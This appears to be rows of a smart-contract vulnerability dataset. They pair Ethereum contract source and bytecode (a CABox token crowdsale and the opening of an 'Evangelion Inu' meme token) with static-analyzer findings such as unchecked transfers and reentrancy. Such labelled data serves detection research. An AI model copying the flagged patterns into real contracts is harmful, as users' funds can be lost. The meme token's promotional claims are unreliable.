1101561077657600080fd5b50351515611586565b34801561078b57600080fd5b506102526115e6565b3480156107a057600080fd5b5061023b600480360360208110156107b757600080fd5b503563ffffffff166115f5565b3480156107d057600080fd5b5061034b61164d565b3480156107e557600080fd5b5061034b600480360360208110156107fc57600080fd5b50356001600160a01b0316611653565b34801561081857600080fd5b5061023b6004803603602081101561082f57600080fd5b50356001600160a01b0316611665565b34801561084b57600080fd5b506108546116d4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561088e578181015183820152602001610876565b50505050905090810190601f1680156108bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108d557600080fd5b5061023b600480360360408110156108ec57600080fd5b506001600160a01b0381358116916020013516611762565b34801561091057600080fd5b5061023b6004803603602081101561092757600080fd5b503561196b565b6006546001600160a01b031681565b600f546001600160a01b0316331461098a576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b805161099d906005906020840190611f9c565b5050565b600f546001600160a01b031681565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b505afa158015610a0f573d6000803e3d6000fd5b505050506040513d6020811015610a2557600080fd5b5051905090565b60006020819052908152604090205481565b600654604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610a8957600080fd5b505afa158015610a9d573d6000803e3d6000fd5b505050506040513d6020811015610ab357600080fd5b505111610afc576040805162461bcd60e51b81526020600482015260126024820152711b9bc81dda5d1a191c985dc8185b5bdd5b9d60721b604482015290519081900360640190fd5b600b5460ff16610b46576040805162461bcd60e51b815260206004820152601060248201526f6e6f7420776974686472617761626c6560801b604482015290519081900360640190fd5b610b4f336119bd565b33600090815260026020526040902054811115610b785750336000908152600260205260409020545b60008111610bc0576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b600654610bd7906001600160a01b03163383611ac5565b33600090815260026020526040902054610bf19082611b17565b33600090815260026020526040902055600354610c0e9082611b17565b60035560408051828152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a250565b600f546001600160a01b03163314610c97576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600d55565b6008546001600160a01b031681565b600c5481565b6009546001600160a01b031681565b600954600160a01b900463ffffffff1681565b6001600160a01b03811660009081526020818152604080832054600190925282205460045415610e6f578115610dc757600454600019015b60048181548110610d1857fe5b906000526020600020906003020160010154831015610dc557610db0610da960048381548110610d4457fe5b906000526020600020906003020160020154610da3600260008a6001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610d8c57fe5b600091825260209091206003909102015490611b62565b90611bbb565b8390611bfd565b915080610dbc57610dc5565b60001901610d0b565b505b600454600019015b610e02600a5460048381548110610de257fe5b906000526020600020906003020160010154611bfd90919063ffffffff16565b421015610e6d576000610e1b60048381548110610d4457fe5b9050610e4a600a54610da3610e4342610e3d600a5460048981548110610de257fe5b90611b17565b8490611b62565b9050610e568382611b17565b925081610e635750610e6d565b5060001901610dcf565b505b9392505050565b600b5460ff1681565b600e546001600160a01b031681565b610e97336119bd565b6000610ea233610cd3565b33600090815260016020526040902054909150610ebf9082611b17565b33600081815260016020526040902091909155600754610eeb916001600160a01b039091169083611ac5565b50565b600d5481565b600f546001600160a01b03163314610f41576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600f546001600160a01b03163314610fb0576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600880546001600160a01b0319166001600160a01b0392909216919091179055565b60048181548110610fe257600080fd5b600091825260209091206003909102018054600182015460029092015490925083565b600f546001600160a01b03163314611052576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b60016020526000908152604090205481565b61108f336119bd565b600061109a33610cd3565b9050808211156110a8578091505b336000908152600160205260409020546110c29083611b17565b3360008181526001602052604090209190915560075461099d916001600160a01b039091169084611ac5565b600a5481565b6110fd336119bd565b600954600090611127906103e890610da390859063ffffffff600160a01b909104811690611b6216565b905060006111358383611b17565b9050811561115c5760085460065461115c916001600160a01b039182169133911685611c57565b80156111f257600954600654611181916001600160a01b039182169133911684611c57565b3360009081526002602052604090205461119b9082611bfd565b336000908152600260205260409020556003546111b89082611bfd565b60035560408051828152905133917f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c4919081900360200190a25b505050565b600f546001600160a01b03163314611244576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b60035481565b600f546001600160a01b031633146112b9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6009805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156109fb57600080fd5b600f546001600160a01b03163314611377576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600081116113df576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060035411611436576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b6000611453600c54610da3600d5485611b6290919063ffffffff16565b905061145f8282611b17565b60075490925061147a906001600160a01b0316333084611c57565b600e54600754611499916001600160a01b039182169133911685611c57565b6114a1612028565b50604080516060810182528281524260208083019182526003805484860190815260048054600181018255600091909152855192027f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b81019290925592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c82015591517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201919091558251848152925191927feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929081900390910190a1505050565b600f546001600160a01b031633146115d3576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600b805460ff1916911515919091179055565b6007546001600160a01b031681565b600f546001600160a01b03163314611642576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600a55565b60105481565b60026020526000908152604090205481565b600f546001600160a01b031633146116b2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6005805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561175a5780601f1061172f5761010080835404028352916020019161175a565b820191906000526020600020905b81548152906001019060200180831161173d57829003601f168201915b505050505081565b600f546001600160a01b031633146117af576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006546001600160a01b038381169116148015906117db57506007546001600160a01b03838116911614155b61181a576040805162461bcd60e51b815260206004820152600b60248201526a6d61696e20746f6b656e7360a81b604482015290519081900360640190fd5b6001600160a01b0382161561192d576000826001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561187857600080fd5b505afa15801561188c573d6000803e3d6000fd5b505050506040513d60208110156118a257600080fd5b50516040805163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905291519293509085169163a9059cbb916044808201926020929091908290030181600087803b1580156118fa57600080fd5b505af115801561190e573d6000803e3d6000fd5b505050506040513d602081101561192457600080fd5b5061099d915050565b60405147906001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611965573d6000803e3d6000fd5b50505050565b600f546001600160a01b031633146119b8576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600c55565b6001600160a01b0381166000908152602081815260408083205460019092529091205481158015906119f0575060045415155b15611a9557600454600019015b60048181548110611a0a57fe5b906000526020600020906003020160010154831015611a9357611a7e610da960048381548110611a3657fe5b906000526020600020906003020160020154610da360026000896001600160a01b03166001600160a01b031681526020019081526020016000205460048681548110610d8c57fe5b915080611a8a57611a93565b600019016119fd565b505b6001600160a01b039092166000908152600160209081526040808320949094553382528190529190912042905550565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526111f2908490611cad565b6000611b5983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e64565b90505b92915050565b600082611b7157506000611b5c565b82820282848281611b7e57fe5b0414611b595760405162461bcd60e51b815260040180806020018281038252602181526020018061205f6021913960400191505060405180910390fd5b6000611b5983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611efb565b600082820183811015611b59576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526119659085905b611cbf826001600160a01b0316611f60565b611d10576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b600080836001600160a01b0316836040518082805190602001908083835b60208310611d4d5780518252601f199092019160209182019101611d2e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611daf576040519150601f19603f3d011682016040523d82523d6000602084013e611db4565b606091505b509150915081611e0b576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561196557808060200190516020811015611e2757600080fd5b50516119655760405162461bcd60e51b815260040180806020018281038252602a815260200180612080602a913960400191505060405180910390fd5b60008184841115611ef35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611eb8578181015183820152602001611ea0565b50505050905090810190601f168015611ee55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611f4a5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611eb8578181015183820152602001611ea0565b506000838581611f5657fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611f945750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611fd25760008555612018565b82601f10611feb57805160ff1916838001178555612018565b82800160010185558215612018579182015b82811115612018578251825591602001919060010190611ffd565b50612024929150612049565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b80821115612024576000815560010161204a56fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122042d613be6e3a02fe17c0d7be989a2adfbd1c498a58a82ef65db2b1803e6a571264736f6c63430007060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 156 |
0x322a440b61ef7466e640659b39470d57847666f8 | pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
/**
* @title CABoxToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract CABoxToken is BurnableToken, Ownable {
string public constant name = "CABox";
string public constant symbol = "CAB";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 500 * 1000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function CABoxToken() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
}
/**
* @title CABoxCrowdsale
* @dev CABoxCrowdsale is a completed contract for managing a token crowdsale.
* CABoxCrowdsale have a start and end timestamps, where investors can make
* token purchases and the CABoxCrowdsale will assign them tokens based
* on a token per ETH rate. Funds collected are forwarded to a wallet
* as they arrive.
*/
contract CABoxCrowdsale is Ownable{
using SafeMath for uint256;
// The token being sold
CABoxToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// address where development funds are collected
address public devWallet;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event TokenContractUpdated(bool state);
event WalletAddressUpdated(bool state);
function CABoxCrowdsale() public {
token = createTokenContract();
startTime = 1535155200;
endTime = 1540771200;
wallet = 0x9BeAbD0aeB08d18612d41210aFEafD08fb84E9E8;
devWallet = 0x13dF1d8F51324a237552E87cebC3f501baE2e972;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific token.
function createTokenContract() internal returns (CABoxToken) {
return new CABoxToken();
}
// fallback function can be used to buy tokens
function () external payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 bonusRate = getBonusRate();
uint256 tokens = weiAmount.mul(bonusRate);
token.transfer(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function getBonusRate() internal view returns (uint256) {
uint64[5] memory tokenRates = [uint64(24000),uint64(20000),uint64(16000),uint64(12000),uint64(8000)];
// apply bonus for time
uint64[5] memory timeStartsBoundaries = [uint64(1535155200),uint64(1538352000),uint64(1538956800),uint64(1539561600),uint64(1540166400)];
uint64[5] memory timeEndsBoundaries = [uint64(1538352000),uint64(1538956800),uint64(1539561600),uint64(1540166400),uint64(1540771200)];
uint[5] memory timeRates = [uint(500),uint(250),uint(200),uint(150),uint(100)];
uint256 bonusRate = tokenRates[0];
for (uint i = 0; i < 5; i++) {
bool timeInBound = (timeStartsBoundaries[i] <= now) && (now < timeEndsBoundaries[i]);
if (timeInBound) {
bonusRate = tokenRates[i] + tokenRates[i] * timeRates[i] / 1000;
}
}
return bonusRate;
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value * 750 / 1000);
devWallet.transfer(msg.value * 250 / 1000);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool nonZeroPurchase = msg.value != 0;
bool withinPeriod = now >= startTime && now <= endTime;
return nonZeroPurchase && withinPeriod;
}
// @return true if crowdsale event has ended
function hasEnded() public view returns (bool) {
bool timeEnded = now > endTime;
return timeEnded;
}
// update token contract
function updateCABoxToken(address _tokenAddress) onlyOwner{
require(_tokenAddress != address(0));
token.transferOwnership(_tokenAddress);
TokenContractUpdated(true);
}
// transfer tokens
function transferTokens(address _to, uint256 _amount) onlyOwner {
require(_to != address(0));
token.transfer(_to, _amount);
}
} | 0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680633197cbb6146100ba578063521eb273146100e557806378e979251461013c5780638da5cb5b146101675780638ea5220f146101be578063bec3fa1714610215578063e0a7527d14610262578063ec8ac4d8146102a5578063ecb70fb7146102db578063f2fde38b1461030a578063fc0c546a1461034d575b6100b8336103a4565b005b3480156100c657600080fd5b506100cf610595565b6040518082815260200191505060405180910390f35b3480156100f157600080fd5b506100fa61059b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014857600080fd5b506101516105c1565b6040518082815260200191505060405180910390f35b34801561017357600080fd5b5061017c6105c7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101ca57600080fd5b506101d36105ec565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561022157600080fd5b50610260600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610612565b005b34801561026e57600080fd5b506102a3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107ae565b005b6102d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103a4565b005b3480156102e757600080fd5b506102f0610959565b604051808215151515815260200191505060405180910390f35b34801561031657600080fd5b5061034b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061096a565b005b34801561035957600080fd5b50610362610abf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156103e457600080fd5b6103ec610ae5565b15156103f757600080fd5b349250610402610b17565b91506104178284610e4090919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104de57600080fd5b505af11580156104f2573d6000803e3d6000fd5b505050506040513d602081101561050857600080fd5b8101908080519060200190929190505050508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188584604051808381526020018281526020019250505060405180910390a361058f610e7b565b50505050565b60035481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561066d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156106a957600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561076e57600080fd5b505af1158015610782573d6000803e3d6000fd5b505050506040513d602081101561079857600080fd5b8101908080519060200190929190505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561080957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561084557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b15801561090257600080fd5b505af1158015610916573d6000803e3d6000fd5b505050507fea9cad2da9f8c875bcb578fa84e927d95487e76b78712201925ab872fdd1247c6001604051808215151515815260200191505060405180910390a150565b600080600354421190508091505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109c557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610a0157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008034141591506002544210158015610b0457506003544211155b9050818015610b105750805b9250505090565b6000610b21610f70565b610b29610f70565b610b31610f70565b610b39610f93565b600080600060a060405190810160405280615dc067ffffffffffffffff1667ffffffffffffffff168152602001614e2067ffffffffffffffff1667ffffffffffffffff168152602001613e8067ffffffffffffffff1667ffffffffffffffff168152602001612ee067ffffffffffffffff1667ffffffffffffffff168152602001611f4067ffffffffffffffff1667ffffffffffffffff16815250965060a060405190810160405280635b809c0067ffffffffffffffff1667ffffffffffffffff168152602001635bb1638067ffffffffffffffff1667ffffffffffffffff168152602001635bba9e0067ffffffffffffffff1667ffffffffffffffff168152602001635bc3d88067ffffffffffffffff1667ffffffffffffffff168152602001635bcd130067ffffffffffffffff1667ffffffffffffffff16815250955060a060405190810160405280635bb1638067ffffffffffffffff1667ffffffffffffffff168152602001635bba9e0067ffffffffffffffff1667ffffffffffffffff168152602001635bc3d88067ffffffffffffffff1667ffffffffffffffff168152602001635bcd130067ffffffffffffffff1667ffffffffffffffff168152602001635bd64d8067ffffffffffffffff1667ffffffffffffffff16815250945060a0604051908101604052806101f4815260200160fa815260200160c881526020016096815260200160648152509350866000600581101515610d5957fe5b602002015167ffffffffffffffff169250600091505b6005821015610e3357428683600581101515610d8757fe5b602002015167ffffffffffffffff1611158015610dbf57508482600581101515610dad57fe5b602002015167ffffffffffffffff1642105b90508015610e26576103e88483600581101515610dd857fe5b60200201518884600581101515610deb57fe5b602002015167ffffffffffffffff1602811515610e0457fe5b048783600581101515610e1357fe5b602002015167ffffffffffffffff160192505b8180600101925050610d6f565b8297505050505050505090565b6000806000841415610e555760009150610e74565b8284029050828482811515610e6657fe5b04141515610e7057fe5b8091505b5092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6103e86102ee3402811515610ec857fe5b049081150290604051600060405180830381858888f19350505050158015610ef4573d6000803e3d6000fd5b50600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6103e860fa3402811515610f4157fe5b049081150290604051600060405180830381858888f19350505050158015610f6d573d6000803e3d6000fd5b50565b60a060405190810160405280600590602082028038833980820191505090505090565b60a0604051908101604052806005906020820280388339808201915050905050905600a165627a7a7230582025bbc7e565288d7474e00b20baf705823b573de8283c4a7dd0d84c952540fb380029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 157 |
0xf0a69e99c46aac7870e91636d7f04b92844502c1 | /**
▒█▀▀▀ ▀█░█▀ █▀▀█ █▀▀▄ █▀▀▀ █▀▀ █░░ ░▀░ █▀▀█ █▀▀▄ ▀█▀ █▀▀▄ █░░█
▒█▀▀▀ ░█▄█░ █▄▄█ █░░█ █░▀█ █▀▀ █░░ ▀█▀ █░░█ █░░█ ▒█░ █░░█ █░░█
▒█▄▄▄ ░░▀░░ ▀░░▀ ▀░░▀ ▀▀▀▀ ▀▀▀ ▀▀▀ ▀▀▀ ▀▀▀▀ ▀░░▀ ▄█▄ ▀░░▀ ░▀▀▀nuͧ
Evangelion Inu - $EVANGELION (ERC-20)
One of Elon's favourite animes. Now on the ethereum blockchain.
🔒 Liq lock, Ownership renounced
✅ Top-Tier promoters on board
https://www.evangelioninu.com/
https://twitter.com/EvangelionInu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
